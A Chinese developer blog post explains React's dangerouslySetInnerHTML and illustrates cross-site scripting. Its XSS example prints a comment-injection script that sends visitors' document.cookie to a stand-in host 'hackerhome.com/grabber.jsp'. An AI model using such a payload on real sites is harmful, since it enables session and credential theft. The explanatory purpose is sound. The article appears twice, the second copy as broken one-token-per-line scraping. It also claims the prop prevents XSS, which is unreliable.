美文网首页
让 React 正常显示你的 html 代码: dangerou

让 React 正常显示你的 html 代码: dangerou

作者: bug喵 | 来源:发表于2017-12-18 15:48 被阅读0次

    做项目需要把服务器接口传过来的 HTML 文本字符串转换成 DOM 对象。

    有两种方法:

    第一种用 innerHTML;

    function parseToDOM(str){
    var div = document.createElement("div");
    if(typeof str == "string")
    div.innerHTML = str;
    return div.childNodes;
    }
    1
    2
    3
    4
    5
    6
    function parseToDOM(str){
    var div = document.createElement("div");
    if(typeof str == "string")
    div.innerHTML = str;
    return div.childNodes;
    }
    现在主要说的是第二种:

    多数时候 DOM 是透过 render 中设定的结构来处理,有些时候我们想透过字串形式的 html 来做操作时,dangerouslySetInnerHTML 就可以派上用场,将字串转译给 render 来使用; 也可将 Unicode 的编码做呈现,也能防止 XSS。:

    <div
    className="content"
    dangerouslySetInnerHTML={{ __html: this.state.html}}
    />
    1
    2
    3
    4
    <div
    className="content"
    dangerouslySetInnerHTML={{ __html: this.state.html}}
    />
    用开发工具来检视时,透过 dangerouslySetInnerHTML 产生的 DOM 不会有 data-reactid。实际应用上,在制作复杂的 component 时,也许可以使用它的方法,运用字串的操作来降低 render 时的结构复杂度。

    如果你将这段代码放在正常的 html 页面中,它是会换行的,在 React 中则不会,因为 react 不会自动帮你解析你的 html 代码,就像你将上面的 getInitialState

    改为:

    解析出来的还是这样的一段代码

    这是为什么呢?找到的解释是这样的:

    不合时宜的使用 innerHTML 可能会导致 cross-site scripting (XSS) 攻击。 净化用户的输入来显示的时候,经常会出现错误,不合适的净化也是导致网页攻击 的原因之一。

    我们的设计哲学是让确保安全应该是简单的,开发者在执行 “不安全” 的操作的时候应该清楚地知道他们自己的意图。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设

    计的,以此来警告,它的 prop 值( 一个对象而不是字符串 )应该被用来表明净化后的数据。

    将上面的代码改为如下,就可以访问了:

    《让 React 正常显示你的 html 代码: dangerouslySetInnerHTML》

    这么做的意义在于,{html:…} 背后的目的是表明它会被当成 “type/taint” 类型处理。 这种包裹对象,可以通过方法调用返回净化后的数据,随后这种标记过的数据可以。注意html 是两个_

    被传递给 dangerouslySetInnerHTML。

    这个功能主要被用来与 DOM 字符串操作类库一起使用,所以提供的 HTML 必须要格式清晰(例如:传递 XML 校验)

    这些解释是来自于官方说法。读完有点一头雾水,这是因为我们不了解什么是 cross-site scripting (XSS) 攻击,当你了解这个攻击的时候,其实理解起来就比较好理解一些

    什么是 cross-site scripting (XSS) 攻击:

    XSS** 示例**

    在深入了解 XSS 的各个方面之前,让我们首先了解 XSS 攻击到底是怎样完成的。

    就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下 HTML 标记:

    <Script>alert(“XSS attack available!”);</Script>
    1
    <Script>alert(“XSS attack available!”);</Script>
      在读者按下提交键之后,该标记将被提交到服务器上,并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:

    <div>
    <Script>alert(“XSS attack available!”);</Script>
    </div>
    1
    2
    3
    <div>
    <Script>alert(“XSS attack available!”);</Script>
    </div>
      而从用户的角度来看,该网页中就出现了一个警告:

    《让 React 正常显示你的 html 代码: dangerouslySetInnerHTML》

    也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

    <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
    width=16 height=16 border=0 />');</script>
    1
    2
    <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
    width=16 height=16 border=0 />');</script>
      该段脚本将向当前评论内插入一个图片,而该图片所对应的 URL 则指向了 hackerhome 中的 JSP 页面 grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该 JSP 页面将自动记录传入的 msg 参数内容,即访问评论用户所使用的 cookie。该 cookie 可能包含用户的敏感信息,甚至是用户名,密码等重要信息。

    所以,react 的做法是不直接读取你的 html 代码,以此来避免 cross-site scripting (XSS) 攻击,让你的代码更加安全

    更多关于 cross-site scripting (XSS) 攻击的介绍,可以参考这篇文章:http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html做项目需要把服务器接口传过来的 HTML 文本字符串转换成 DOM 对象。

    有两种方法:

    第一种用 innerHTML;

    <textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 116px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

    |

    1

    2

    3

    4

    5

    6

    |

    function

    parseToDOM

    (

    str

    )

    {

    var

    div

    =

    document

    .

    createElement

    (

    "div"

    )

    ;

    if

    (

    typeof

    str

    ==

    "string"

    )

    div

    .

    innerHTML

    =

    str

    ;

    return

    div

    .

    childNodes

    ;

    }

    |

    现在主要说的是第二种:

    多数时候 DOM 是透过 render 中设定的结构来处理,有些时候我们想透过字串形式的 html 来做操作时,dangerouslySetInnerHTML 就可以派上用场,将字串转译给 render 来使用; 也可将 Unicode 的编码做呈现,也能防止 XSS。:

    <textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 86px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

    |

    1

    2

    3

    4

    |

    <

    div

    className

    =

    "content"

    dangerouslySetInnerHTML

    =

    {

    {

    __html

    :

    this

    .

    state

    .

    html

    }

    }

    /

    |

    用开发工具来检视时,透过 dangerouslySetInnerHTML 产生的 DOM 不会有 data-reactid。实际应用上,在制作复杂的 component 时,也许可以使用它的方法,运用字串的操作来降低 render 时的结构复杂度。

    如果你将这段代码放在正常的 html 页面中,它是会换行的,在 React 中则不会,因为 react 不会自动帮你解析你的 html 代码,就像你将上面的 getInitialState

    改为:

    解析出来的还是这样的一段代码

    这是为什么呢?找到的解释是这样的:

    不合时宜的使用

    innerHTML

    可能会导致

    cross-site scripting (XSS)

    攻击。 净化用户的输入来显示的时候,经常会出现错误,不合适的净化也是

    导致网页攻击

    的原因之一。

    我们的设计哲学是让确保安全应该是简单的,开发者在执行 “不安全” 的操作的时候应该清楚地知道他们自己的意图。

    dangerouslySetInnerHTML

    这个 prop 的命名是故意这么设

    计的,以此来警告,它的 prop 值( 一个对象而不是字符串 )应该被用来表明净化后的数据。

    将上面的代码改为如下,就可以访问了:

    [图片上传失败...(image-78a5a2-1513577814895)]

    这么做的意义在于,{

    html:…} 背后的目的是表明它会被当成 “type/taint” 类型处理。 这种包裹对象,可以通过方法调用返回净化后的数据,随后这种标记过的数据可以。注意

    html 是两个_

    被传递给 dangerouslySetInnerHTML。

    这个功能主要被用来与 DOM 字符串操作类库一起使用,所以提供的 HTML 必须要格式清晰(例如:传递 XML 校验)

    这些解释是来自于官方说法。读完有点一头雾水,这是因为我们不了解什么是

    cross-site scripting (XSS)

    攻击,当你了解这个攻击的时候,其实理解起来就比较好理解一些

    什么是 cross-site scripting (XSS) 攻击:

    XSS*

    • 示例**

    在深入了解 XSS 的各个方面之前,让我们首先了解 XSS 攻击到底是怎样完成的。

    就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下 HTML 标记:

    <textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 41px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

    |

    1

    |

    <Script>

    alert

    (

    XSS

    attack

    available

    !

    )

    ;

    </Script>

    |

    在读者按下提交键之后,该标记将被提交到服务器上,并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:

    <textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 71px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

    |

    1

    2

    3

    |

    <

    div

    <Script>

    alert

    (

    XSS

    attack

    available

    !

    )

    ;

    </Script>

    <

    /

    div

    |

    而从用户的角度来看,该网页中就出现了一个警告:

    [图片上传失败...(image-5197c6-1513577814895)]

    也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

    <textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 62px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

    |

    1

    2

    |

    <script>

    document

    .

    write

    (

    '<img src=http://www.hackerhome.com/grabber.jsp?msg='

    document

    .

    cookie

    '

    width=16 height=16 border=0 />'

    )

    ;

    </script>

    |

    该段脚本将向当前评论内插入一个图片,而该图片所对应的 URL 则指向了 hackerhome 中的 JSP 页面 grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该 JSP 页面将自动记录传入的 msg 参数内容,即访问评论用户所使用的 cookie。该 cookie 可能包含用户的敏感信息,甚至是用户名,密码等重要信息。

    所以,react 的做法是不直接读取你的 html 代码,以此来避免

    cross-site scripting (XSS)

    攻击,让你的代码更加安全

    更多关于

    cross-site scripting (XSS)

    攻击的介绍,可以参考这篇文章:

    http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html

    相关文章

      网友评论

          本文标题:让 React 正常显示你的 html 代码: dangerou

          本文链接:https://www.haomeiwen.com/subject/zucmwxtx.html